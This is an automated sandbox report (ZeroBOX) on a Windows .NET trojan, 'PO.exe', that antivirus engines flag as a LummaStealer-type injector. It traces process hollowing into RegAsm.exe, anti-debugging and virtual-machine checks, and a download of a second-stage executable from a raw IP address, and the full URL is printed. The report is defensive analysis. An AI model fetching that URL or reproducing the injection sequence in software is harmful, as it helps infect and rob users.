Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 17, 2024, 1:21 p.m.	Sept. 17, 2024, 1:24 p.m.

Size	13.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`644c70c76df47981aeac98d4f7a08971`
SHA256	`9daef62ff8d571b190fecdf10bf57e19601007769d0bf3709fe70f4fe7cce513`
CRC32	`4C967526`
ssdeep	`384:57/1TebgAciVU6c35z1R5Mq37Vi8QbTf6Q:5T1TeR05xNYbTff`
PDB Path	C:\Users\Administrator\Desktop\RunPe-x32\RunPE\obj\Release\Selenium.pdb
Yara	PE_Header_Zero - PE File Signature Is_DotNET_EXE - (no description) IsPE32 - (no description)

PO.exe "C:\Users\test22\AppData\Local\Temp\PO.exe"
2560
- RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
  2736

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
147.45.44.131	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 147.45.44.131:80 -> 192.168.56.101:49161	2400022	ET DROP Spamhaus DROP Listed Traffic Inbound group 23	Misc Attack
TCP 192.168.56.101:49161 -> 147.45.44.131:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.101:49161 -> 147.45.44.131:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.101:49161	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 147.45.44.131:80 -> 192.168.56.101:49161	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.101:49161	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 17, 2024, 1:21 p.m.			0	0
IsDebuggerPresent Sept. 17, 2024, 1:21 p.m.			0	0

This executable has a PDB path (1 event)

pdb_path

C:\Users\Administrator\Desktop\RunPe-x32\RunPE\obj\Release\Selenium.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 17, 2024, 1:21 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://147.45.44.131/files/jrj6.exe

Performs some HTTP requests (1 event)

request

GET http://147.45.44.131/files/jrj6.exe

Allocates read-write-execute memory (usually to unpack itself) (21 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 2293760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00700000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00580000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00412000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00445000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00447000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00436000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00437000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006a1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 17, 2024, 1:21 p.m.	flags: 15 family: 0		111	0

Yara rule detected in process memory (9 events)

description	Take ScreenShot	rule	ScreenShot
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

147.45.44.131

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2736 region_size: 331776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000043c	1	0	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation Sept. 17, 2024, 1:21 p.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

PO.exe tried to sleep 5456326 seconds, actually delayed analysis time by 5456326 seconds

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL¿IÊfàÄ@ @@ ÄxÀB,Å¨.text `.rdata;( *@@.dataíÐX²@À.relocBÀB @B base_address: 0x00400000 process_identifier: 2736 process_handle: 0x0000043c	1	1	0
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2736 process_handle: 0x0000043c	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL¿IÊfàÄ@ @@ ÄxÀB,Å¨.text `.rdata;( *@@.dataíÐX²@À.relocBÀB @B base_address: 0x00400000 process_identifier: 2736 process_handle: 0x0000043c	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2560 called NtSetContextThread to modify thread in remote process 2736
NtSetContextThread Sept. 17, 2024, 1:21 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4235328 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000438 process_identifier: 2736	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2560 resumed a thread in remote process 2736
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000438 suspend_count: 1 process_identifier: 2736	1	0	0

Executed a process and injected code into it, probably while unpacking (22 events)

Time & API	Arguments	Status	Return
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2560	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2560	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 2560	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000348 suspend_count: 1 process_identifier: 2560	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x0000037c suspend_count: 1 process_identifier: 2560	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x000003b0 suspend_count: 1 process_identifier: 2560	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x000003c4 suspend_count: 1 process_identifier: 2560	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x000003ec suspend_count: 1 process_identifier: 2560	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000404 suspend_count: 1 process_identifier: 2560	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000418 suspend_count: 1 process_identifier: 2560	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x0000042c suspend_count: 1 process_identifier: 2560	1	0
CreateProcessInternalW Sept. 17, 2024, 1:21 p.m.	thread_identifier: 2740 thread_handle: 0x00000438 process_identifier: 2736 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe track: 1 command_line: filepath_r: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000043c	1	1
NtGetContextThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000438	1	0
NtAllocateVirtualMemory Sept. 17, 2024, 1:21 p.m.	process_identifier: 2736 region_size: 331776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000043c	1	0
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL¿IÊfàÄ@ @@ ÄxÀB,Å¨.text `.rdata;( *@@.dataíÐX²@À.relocBÀB @B base_address: 0x00400000 process_identifier: 2736 process_handle: 0x0000043c	1	1
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: base_address: 0x00401000 process_identifier: 2736 process_handle: 0x0000043c	1	1
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: base_address: 0x0043a000 process_identifier: 2736 process_handle: 0x0000043c	1	1
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: base_address: 0x0043d000 process_identifier: 2736 process_handle: 0x0000043c	1	1
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: base_address: 0x0044c000 process_identifier: 2736 process_handle: 0x0000043c	1	1
WriteProcessMemory Sept. 17, 2024, 1:21 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2736 process_handle: 0x0000043c	1	1
NtSetContextThread Sept. 17, 2024, 1:21 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4235328 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000438 process_identifier: 2736	1	0
NtResumeThread Sept. 17, 2024, 1:21 p.m.	thread_handle: 0x00000438 suspend_count: 1 process_identifier: 2736	1	0

File has been identified by 55 AntiVirus engines on VirusTotal as malicious (50 out of 55 events)

Bkav	W32.AIDetectMalware.CS
Lionic	Trojan.Win32.Generic.4!c
CAT-QuickHeal	Trojan.Generic
Skyhigh	BehavesLike.Win32.Generic.lm
Cylance	Unsafe
VIPRE	Gen:Heur.MSIL.Krypt.6
Sangfor	Trojan.Msil.Injector.Vt7x
CrowdStrike	win/malicious_confidence_100% (D)
BitDefender	Gen:Heur.MSIL.Krypt.6
K7GW	Trojan ( 005690671 )
K7AntiVirus	Trojan ( 005690671 )
Arcabit	Trojan.MSIL.Krypt.6
VirIT	Trojan.Win32.MSIL.HDO
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of MSIL/Injector.LOS
Avast	Win32:PWSX-gen [Trj]
ClamAV	Win.Packed.Pwsx-10035668-0
Kaspersky	HEUR:Trojan.Win32.Generic
Alibaba	Trojan:MSIL/Injector.d4397baa
MicroWorld-eScan	Gen:Heur.MSIL.Krypt.6
Rising	Trojan.Injector!8.C4 (CLOUD)
Emsisoft	Gen:Heur.MSIL.Krypt.6 (B)
F-Secure	Trojan.TR/Injector.caqrb
DrWeb	Trojan.InjectNET.17
Zillya	Trojan.Injector.Win32.1853530
TrendMicro	TrojanSpy.Win32.LUMMASTEALER.YXEIQZ
McAfeeD	ti!9DAEF62FF8D5
CTX	exe.trojan.msil
Sophos	Troj/MSILIn-BFP
Ikarus	Trojan.MSIL.Injector
FireEye	Generic.mg.644c70c76df47981
Google	Detected
Avira	TR/Injector.caqrb
Antiy-AVL	Trojan/Win32.Agent
Kingsoft	MSIL.Trojan.Agent.gen
Gridinsoft	Trojan.Win32.Downloader.sa
Microsoft	Trojan:MSIL/Zusy.HNH!MTB
ZoneAlarm	HEUR:Trojan.Win32.Generic
GData	Gen:Heur.MSIL.Krypt.6
Varist	W32/MSIL_Troj.C.gen!Eldorado
AhnLab-V3	Trojan/Win.Generic.C5658263
McAfee	Artemis!644C70C76DF4
DeepInstinct	MALICIOUS
VBA32	Trojan.MSIL.DiscoStealer.Heur
Malwarebytes	Trojan.Injector.MSIL.Generic
Panda	Trj/GdSda.A
TrendMicro-HouseCall	TrojanSpy.Win32.LUMMASTEALER.YXEIQZ
Tencent	Msil.Trojan.Agent.Snkl
huorong	Trojan/MSIL.Injector.fx

PO.exe

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